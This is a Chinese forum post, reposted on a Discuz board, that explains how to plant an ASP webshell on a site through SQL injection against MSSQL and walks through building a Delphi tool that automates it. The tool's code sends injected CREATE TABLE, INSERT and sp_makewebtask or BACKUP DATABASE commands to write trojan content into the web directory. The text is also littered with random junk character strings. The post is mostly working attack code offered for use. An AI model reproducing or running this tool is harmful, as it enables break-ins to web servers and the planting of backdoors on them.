QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3094|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |正序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理:
, L1 r! M/ R4 SN.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
4 R" U/ D% q- W2 p1 i) R8 X分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
, Y8 [1 O8 F% I. p) T5 j' w3 [( M再来看看CZY的方法吧。 6 }# x0 h9 B0 Q8 D' a
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
; [, j8 O) ?! {7 y# |以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
  E  U  @" |- o1 r2 v二.利用DELPHI去实现功能的前言
7 m; @5 z) ?% U' d: Q原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 ( h: d3 @  M6 ~

7 q: O, i3 C: @6 H: A三.如何利用DELPHI得到WEBSHELL。   o; v2 g$ u! l- `
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
- p' G2 R: ?4 t5 K; W0 B$ F首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
9 C' Z( `) Q% ~4 j5 p. ~3 c- [7 b8 N7 `

& P2 k: `6 u( _: r8 E$ `
  g: P1 Z; ]/ m9 `# m4 O% Q8 O现在来写程序了。
) B6 |; `8 ^$ q我们首先定义一个RECORD。 0 M4 C) m: c/ Z. W
如下:
! o) e5 V6 q5 f% ?0 l" jType
1 _0 `4 ~8 z: c1 ^- @' n8 PSetOption = Record
( O! H* b7 K- |: N8 fTableName : String; //用来保存要创建的表名.
7 M5 ^5 n6 m5 _7 |. M! T0 x4 vFieldName : String; //用来保存要创建的字段名. 9 i5 e6 U7 H- g/ H
FiledType : String; //用来保存创建的字段名类型. - k) v2 Z" H# ^
End; 5 ]+ S+ X2 q: b: y! @2 ?2 X6 d0 G
FiledType字段类型的值是以下类型的一种:
0 o! ]7 l$ ^" d" d: FBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint # I* g6 e8 W/ p  b3 g) x
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 7 u6 L3 Q" G% V7 J7 q5 z' O
再定义一个全局变量:
/ M" C- X; g, p* f3 sVar : B! ?1 S' f/ ~* }4 s  m
ISStop : Boolean; //用来判断用户是否按下了停止按纽. 0 S  Z* D$ U" S* F
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
1 f: n! p8 e9 b( Z代码如下:
2 K+ w: t* z4 C% T+ x3 s0 ?procedure TMainForm.FormCreate(Sender: TObject);
' U; Q; z* }2 M) E0 `$ Fbegin   |7 o1 o, B- d$ w4 k+ H3 f
sOption.TableName :='cyfd'
1 ^- k; a: i0 }1 N  Y* d  l6 n" g6 U6 |sOption.FieldName :='gmemo'
5 U$ u; S9 O. V' b9 ~sOption.FiledType :='text' $ l# b, K! W, Y) M8 G( K- J8 B
end; # j0 {+ O: g  i' j
现在我们添加开始执行命令的代码。
" z  K3 Q; B9 c( S! F先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. * S3 a& l: B1 z2 O! V
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
3 ]6 d* l8 [, c  d, Q在程序开始执行前,我们得先检查一下用户的输入
8 O" O  ]- K& B8 a8 W定义一个Checkinput函数.
# Y/ i7 r3 y! Z7 E) d" u如下:
) j( A* K8 `; n6 ~; h* g0 iFunction CheckInput : Boolean;
+ G4 o! B1 f, u; l  Y  aBegin
! @# n: X% B7 L8 }1 kResult := False;
+ ^6 a) _( O4 B, D% vif Trim(urlet.Text) = '' then
6 |9 D: K+ U3 T# f' P2 oBegin
' M9 b9 n# s7 {/ y* s4 k2 qApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); & Q! @1 }+ `* @0 ^0 d" o' f
Exit; 3 R3 n1 |# g0 m: |* J
End; ' m2 f7 E+ a! T' ~$ z/ Z
if Trim(ShellPathET.Text) = '' then * ]5 w& r0 w, t1 V! Y  O
Begin ' {8 a# L5 D9 M% e5 U/ h
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); " U' z4 Y% F1 c3 w% C# O+ I/ c4 \; F
Exit; / ~7 {$ J+ A' D
End; 9 K, h- K4 u) t( P, a+ u
IF DefBDoor.Checked then 3 v* c* M, I. Y# ~9 N
Begin
5 F, y1 T6 b! |6 K) d- V  g* R# V2 [if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then ' U4 O/ b3 t! ~$ I
Begin 1 F/ a! ?7 V8 _6 M2 p
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); . |3 u9 ^3 t: V8 t- Q
Exit;
% N& @0 O, e  l8 }* J/ ~- iEnd; $ A8 U$ f9 `$ X! a( N  N
End 0 X% \' H. y' R' b2 `
Else
: k/ @  t/ t* C! v& }. @' Wif Not FileExists(CustomBdoorET.Text) then ) o7 r: P! M% d* ^+ ?* W
Begin
! _& V. Z$ \0 W% P) H3 OApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); - ^. l4 J( R0 O0 K; ^6 x, x
Exit; " G% F, v- [. _1 ?
End; ! c5 w# V- g; b: m2 `
Result := True; . d; h+ T' X# B# A1 Y
End; 1 z1 h: Z6 g6 X4 y8 ]4 K
在最开始加入:
3 x+ _& F4 j$ L9 B, l& zIF Not CheckInput then Exit; //如果输入不合法就退出过程.
. S* B2 V! c7 U6 j好了,如果用户输入没什么错,我们就来下面的代码。
) p9 h8 _$ r, c- P9 I首先我们把IsStop设为假。创建BdoorList。 8 u" }. U6 y5 j
BDoorList := TstringList.Create;
; ^) ]% w6 M7 c2 P& m( _* X再加木马内容到BDoorlist.
3 @* v8 E( \7 d! TBDoorList.LoadFromFile(CustomBdoorET.text);   B& U+ d9 h# @- _3 t$ ~( D" n
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
& A' I& A# U' I6 ?代码如下:
1 o4 S! }! [+ l- d, K5 oBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
; u/ m: g6 l4 u) j8 KBDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); * {: {8 V8 T  H. K* V
接下来.我们就提交建表的功能了. ( U( U, k1 Q8 P6 S% S3 Q' n
Memo.Lines.Add('建表...'); 0 M, Q6 u1 t# H; {& H1 e
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 9 S& E: k" f- W- M
这样我们就创建了一个表。然后.我们向表中加记录: ! M  P+ f2 R7 I8 R# C  r
代码如下:
; t( F# B; Z% s1 Y& y, |* oMemo.Lines.Add('加数据...');
. b" ?7 C0 b& [Memo.Lines.Add('');
2 R* o9 j" a. R8 @# [" GFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
; H7 M3 w& [3 ]  t4 P5 S' b, K; C5 {Begin 4 G1 H7 f1 }6 M: p1 i$ S1 j5 l  i
IF IsStop then //这里如果点了停止按纽程序将终止任务.
( d& o9 z2 M0 _- k# S  N  nBegin
1 ^! U8 D3 y5 E: |3 v) CBDoorList.Free;
* E& x/ f5 _5 J* c) b5 o( zExit;
" I2 }5 X7 k0 X( XEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); ( O% q+ W& ]1 U
Memo.Lines.Add('Add Line '+Inttostr(i+1));
& ]1 K7 Z' F; v' ?End; , t* G6 f3 b+ X+ E3 G+ `
现在就是导出数据生成木马了.
* p& |5 h; ~; `8 u) `$ B3 U1 [Memo.Lines.Add('导出数据...'); 8 Q- V3 Z/ G4 @3 H- Z; `: ~
Memo.Lines.Add('');
9 c. s$ D! x: ?- l: k, zIF BKData.Checked then //如果选中采用备份数据就执行下面的命令. . e1 ~7 A1 J; `
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
+ U$ H7 w3 s. `) n( H: K- _Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
# B! a8 F& g* l我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); 0 e% H* P* q& E% k
这样我们的任务就完成了。下面来释放变量. . @, ]' u: `* [$ p& S( P
BDoorList.Free; 8 H- |4 Q: r9 }2 ?0 k; |( g* a- z
再来向停止按纽中添加点击事件:
% T3 a5 I: j, e5 o4 S8 Y一行代码就行了:IsStop := True; 3 n& R, @0 Z) R0 P7 c9 w1 [
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
% h* [+ D( v0 L5 B9 d设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
9 z; d5 }( ~2 g9 d第一个名称为:TableNameET //保用户输入的存临时表 . x0 j! `, r% }/ ]  A
第二个名称为:FieldNameET //用来保存用户输入的字段名.
- p$ m* C: o' S再添加一个Combobox //用来保存用户所选的字段类型值.
) U" `  _, W8 ^, ]$ `# Y名称:FieldTypeCombox
# o# V+ ~2 G" t$ dOK.界面如下: - P9 r' r% `9 `" J

) f1 ]$ U+ s, s  |( y. ^代码如下:
  P) _* R, X. u1 v. U* c0 G定义一个过程,主表单好调用这个设置。 : X7 ], f2 f4 D3 J) |+ o- x& v
Procedure ShowSet; " V) e% M$ j4 Q. u' |3 R. l
Begin , o+ u, K. l% [1 q) P1 ]8 y
Application.CreateForm(TSetForm,SetForm);
1 _  T% e- g% z- u3 V/ X7 |6 }. PWith SetForm do
. A1 @# V$ `9 s) c7 ]% @Begin
7 D3 J/ V$ y/ f$ mTableNameET.Text := sOption.TableName; 4 D" H: o3 @4 D( g% H/ Z
FieldNameET.Text := sOption.FieldName; " w8 A) I, ?" U+ x9 e/ C- U
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
" A% B8 g- V8 t! Z7 pEnd;
, Q5 E( ~2 b' V: C9 dSetForm.ShowModal;
* j; n& [- E, o" Z+ v( {SetForm.Free; $ S7 x( @8 k+ l+ [' _* |
End;
$ p5 |1 L$ D# O: q; E2 k. l在主表单中设置的点击事件中添加上showset过程就行了。
* |) v/ `4 S/ ?! Y' |下面就是点击确定的代码了。 6 h9 w  N7 Z) Y7 d6 N  q/ I
IF CheckInput then
; [8 R% k/ L) T: Q9 B, O  FBegin
' o% y! E/ {) b6 f( X. n- KsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. - P" {5 m$ c/ y/ [5 L
sOption.FieldName := Trim(FieldNameET.Text); 9 |: A) |. J( C- o
sOption.FiledType := FieldTypeCombox.Text; 8 k6 V$ e( z9 q: j
Close; % g% [3 [" Q- W9 V* R
End; . c- {7 D" H+ M
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 ) A0 m5 l( `- Z# g$ ]2 Z% W" J
代码如下:
2 J3 C2 y6 S( h0 w, r. ]Function CheckInput : Boolean;
- B  }  e* H- E* eBegin
6 x" R# t- S( P+ l0 r, FResult := False; - j1 m' g3 K% K( H
IF Trim(TableNameET.Text)='' then / ^: e( z- Z% A
Begin ! o0 w9 ~, V- C, x- }
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 3 j& r; \  ?! p5 Y
Exit;   f! p& V# h( f+ G+ ^0 C# n
End;
7 Y( }) B8 A! A: }& W: B8 kIF Trim(FieldNameET.Text)='' then
' w9 U. V: x9 ^9 }Begin
9 {' K6 n0 r1 G# xApplication.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
$ ~! e8 @7 ]( ?& XExit;
; w1 b( z6 G1 j* tEnd;
" `  _2 |4 l5 iResult := True; . I* q8 q1 H; X1 n7 s; t2 G
End;
. k# T0 ?% d2 R# f- Q# F到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-8-9 17:59 , Processed in 0.391665 second(s), 53 queries .

回顶部